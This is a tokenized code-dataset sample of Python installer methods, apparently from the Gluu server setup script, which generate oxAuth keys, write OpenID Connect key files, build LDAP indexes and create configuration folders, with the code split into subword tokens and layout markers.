"prov", "-", "jdk", "16", "-1", ".4", "6", ".", "jar", "'_", "%_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "common", "s", "-", "lang", "-", "2.6", ".", "jar", "'_", "%_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "log", "4j", "-1", ".2", ".1", "4", ".", "jar", "'_", "%_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "common", "s", "-", "codec", "-1", ".5", ".", "jar", "'_", "%_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "jet", "tis", "on", "-1", ".3", ".", "jar", "'_", "%_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "ox", "auth", "-", "model", ".", "jar", "'_", "%_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "ox", "auth", ".", "jar", "'_", "%_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "[_", "\"/", "usr", "/", "java", "/", "late", "st", "/", "bin", "/", "java", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"-", "Dl", "og", "4j", ".", "default", "Ini", "t", "Override", "=", "true", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"-", "cp", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\":\"_", "._", "join_", "(_", "require", "d", "Jar", "s_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "org", ".", "xdi", ".", "ox", "auth", ".", "util", ".", "Key", "Generat", "or", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "[_", "\"/", "bin", "/", "su", "\"_", ",_", "\"", "tom", "cat", "\"_", ",_", "\"-", "c", "\"_", ",_", "cmd_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "\"", "Run", "nni", "ng", ":", " ", "%", "s", "\"_", "%_", "\"", " ", "\"_", "._", "join_", "(_", "args_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "subprocess_", "._", "Popen_", "(_", "args_", ",_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "stderr_", "=_", "subprocess_", "._", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", ",_", "err_", "=_", "p_", "._", "communicate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "wait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "err_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "output_", "._", "split_", "(_", "os_", "._", "linesep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "runn", "ing", " ", "command", " ", ":", " ", "%", "s", "\"_", "%_", "\"", " ", "\"_", "._", "join_", "(_", "args_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "openid", "\\u", "keys_", "(_", "self_", ",_", "fn_", ",_", "jw", "ks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Writ", "ing", " ", "ox", "Auth", " ", "Open", "ID", " ", "Connect", " ", "keys", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "jw", "ks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Fail", "ed", " ", "to", " ", "write", " ", "ox", "Auth", " ", "Open", "ID", " ", "Connect", " ", "key", " ", "to", " ", "%", "s", "\"_", "%_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "jw", "ks", "\\u", "text_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "jw", "ks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "fn_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "jw", "ks", "\\u", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"/", "bin", "/", "chown", "\"_", ",_", "'", "tom", "cat", ":", "tom", "cat", "'_", ",_", "fn_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"/", "bin", "/", "chm", "od", "\"_", ",_", "'", "600", "'_", ",_", "fn_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "\"", "Wro", "te", " ", "ox", "Auth", " ", "Open", "ID", " ", "Connect", " ", "key", " ", "to", " ", "%", "s", "\"_", "%_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "writ", "ing", " ", "command", " ", ":", " ", "%", "s", "\"_", "%_", "fn_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Prompt_", "(_", "self_", ",_", "prompt_", ",_", "default", "Value_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "default", "Value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "input_", "=_", "raw", "\\u", "input_", "(_", "\"%", "s", " ", "[", "%", "s", "]", " ", ":", " ", "\"_", "%_", "(_", "prompt_", ",_", "default", "Value_", ")_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user", "\\u", "input_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "default", "Value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "user", "\\u", "input_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "input_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "user", "\\u", "input_", "=_", "raw", "\\u", "input_", "(_", "\"%", "s", " ", ":", " ", "\"_", "%_", "prompt_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user", "\\u", "input_", "!=_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "input_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "user", "\\u", "input_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "index", "\\u", "opend", "j_", "(_", "self_", ",_", "backend_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "opend", "j", "\\u", "version_", "==_", "\"", "2.6", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "command_", "=_", "'", "create", "-", "local", "-", "db", "-", "index", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "command_", "=_", "'", "create", "-", "back", "end", "-", "index", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Run", "ning", " ", "LDA", "P", " ", "index", " ", "creati", "on", " ", "command", "s", " ", "for", " ", "\"_", "+_", "backend_", "+_", "\"", " ", "back", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "json", " ", "file", " ", "contain", "s", " ", "a", " ", "mapping", " ", "of", " ", "the", " ", "require", "d", " ", "indexe", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "[", " ", "{", " ", "\"", "attribute", "\":", " ", "\"", "inu", "m", "\",", " ", "\"", "type", "\":", " ", "\"", "string", "\",", " ", "\"", "index", "\":", " ", "[\"", "equality", "\"]", " ", "},", " ", "...", "}_", "\\u\\u\\uNL\\u\\u\\u_", "index", "\\u", "json_", "=_", "self_", "._", "load", "\\u", "json_", "(_", "self_", "._", "index", "Json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index", "\\u", "json_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "attr", "Dict_", "in_", "index", "\\u", "json_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "attr", "\\u", "name_", "=_", "attr", "Dict_", "[_", "'", "attribute", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index", "\\u", "types_", "=_", "attr", "Dict_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "index", "\\u", "type_", "in_", "index", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "back", "end", "\\u", "names_", "=_", "attr", "Dict_", "[_", "'", "back", "end", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "back", "end", "\\u", "name_", "in_", "back", "end", "\\u", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "(_", "back", "end", "\\u", "name_", "==_", "backend_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "log", "It_", "(_", "\"", "Creat", "ing", " ", "%", "s", " ", "index", " ", "for", " ", "attribute", " ", "%", "s", "\"_", "%_", "(_", "index", "\\u", "type_", ",_", "attr", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index", "Cmd_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "[_", "'", "cd", " ", "%", "s", "/", "bin", " ", ";", " ", "'_", "%_", "self_", "._", "ldap", "Base", "Folder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ldap", "Ds", "config", "Command_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index", "\\u", "command_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "back", "end", "-", "name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "backend_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "type", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gener", "ic", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "index", "-", "name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "attr", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "set", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "index", "-", "type", ":", "%", "s", "'_", "%_", "index", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "set", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "index", "-", "entry", "-", "limit", ":", "4000", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "host", "Name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ldap", "\\u", "hostname_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "port", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ldap", "\\u", "admin", "\\u", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "bind", "DN", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\"", "%", "s", "\"'_", "%_", "self_", "._", "ldap", "\\u", "bind", "dn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "j", "'_", ",_", "self_", "._", "ldap", "Pass", "Fn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "trust", "All", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "no", "Proper", "ties", "File", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "no", "-", "prompt", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "'/", "bin", "/", "su", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ldap", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index", "Cmd_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "NO", " ", "indexe", "s", " ", "found", " ", "%", "s", "'_", "%_", "self_", "._", "index", "Json_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "occure", "d", " ", "dur", "ing", " ", "back", "end", " ", "\"_", "+_", "backend_", "+_", "\"", " ", "LDA", "P", " ", "indexing", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "\\u", "properties_", "(_", "self_", ",_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Load", "ing", " ", "Proper", "ties", " ", "%", "s", "'_", "%_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "Properties_", "._", "Properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "._", "load_", "(_", "open_", "(_", "fn_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proper", "ties", "\\u", "list_", "=_", "p_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "prop_", "in_", "proper", "ties", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u\\u", "dict\\u\\u_", "[_", "prop_", "]_", "=_", "p_", "[_", "prop_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "load", "ing", " ", "property", " ", "%", "s", "\"_", "%_", "prop_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "load", "ing", " ", "proper", "ties", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "\\u", "json_", "(_", "self_", ",_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Load", "ing", " ", "JSO", "N", " ", "from", " ", "%", "s", "'_", "%_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json", "\\u", "file_", "=_", "open_", "(_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json", "\\u", "text_", "=_", "json", "\\u", "file_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "json_", "._", "loads_", "(_", "json", "\\u", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Una", "ble", " ", "to", " ", "read", " ", "or", " ", "parse", " ", "json", " ", "file", " ", "from", " ", "%", "s", "\"_", "%_", "fn_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "Folders", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "these", " ", "folder", " ", "on", " ", "all", " ", "instances_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mkdir_", "=_", "'/", "bin", "/", "mkd", "ir", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chown", "_", "=_", "'/", "bin", "/", "chown", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "config", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "cert", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "output", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "install", "Ox", "Trust", "_", "|_", "self_", "._", "install", "Ox", "Auth_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "glu", "u", "Opt", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "glu", "u", "Opt", "Bin", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "ox", "Photos", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "ox", "Trust", "Remove", "d", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "ox", "Trust", "Cache", "Refr", "esh", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Customiz", "ation", "s", " ", "folders_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "auth", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "auth", "/", "libs", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "auth", "/", "page", "s", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "auth", "/", "resource", "s", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "trust", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "trust", "/", "libs", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "trust", "/", "page", "s", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "\"%", "s", "/", "ox", "trust", "/", "resource", "s", "\"_", "%_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "chown", "_", ",_", "'-", "R", "'_", ",_", "'", "tom", "cat", ":", "tom", "cat", "'_", ",_", "self_", "._", "ox", "Customiz", "ation", "Folder_", "]_", ")_", 